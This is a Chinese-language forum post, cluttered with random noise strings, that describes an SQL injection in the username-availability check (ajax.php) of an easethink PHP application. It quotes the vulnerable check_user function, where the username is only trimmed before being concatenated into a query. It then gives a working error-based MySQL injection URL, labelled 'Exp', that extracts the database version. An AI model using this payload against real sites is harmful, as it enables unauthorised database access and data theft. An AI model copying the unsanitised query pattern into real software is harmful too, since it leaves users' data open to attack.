在注册的时候,输入用户名后台会验证用户名是否存在,当然是通过ajax去验证的也就是ajax.php。很多程序多会忽略这个导致存在SQL注入。3 P& I" n/ k& r
' U* j( Z2 U+ h" @* y: o
. H4 p5 y$ E7 z5 ]2 K1 V
" Z6 @) Q0 Q/ O* 验证会员数据 */ function check_user($field_name,$field_data) { //开始数据验证 $user_data[$field_name] = $field_data; $res = array('status'=>1,'info'=>'','data'=>''); //用于返回的数据 if(trim($user_data['user_name'])==''&&$field_name=='user_name') { $field_item['field_name'] = 'user_name'; $field_item['error'] = EMPTY_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; } if($field_name=='user_name'&&$GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."user where user_name = '".trim($user_data['user_name'])."' and id <> ".intval($user_data['id']))>0)//这里的$user_data['user_name']的值就是用户名提交过来的值,这里只是过滤了空格。所有存在SQL注入漏洞。 { $field_item['field_name'] = 'user_name'; $field_item['error'] = EXIST_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; } ( P1 E1 R9 ? a% Z
7 D4 A# [. q$ }: i8 K" A: V7 z) z% `* }, `
0 A3 Q( H: r6 r9 U9 Z% gExp:" `( ~" M6 q" i( A: @' a( E
I+ |, t/ n1 S; V, g2 }
5 r, r9 l/ z, T6 N* o2 t" e
9 J" c/ i0 e9 S3 ohttp://192.168.9.109/easethink_f ... ame&field_data=**/(select/**/1/**/from/**/(select/**/count(*),concat(version(),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23 * c5 |* E; ^9 \. F. l
3 \1 z) z8 X) n5 n+ C) i |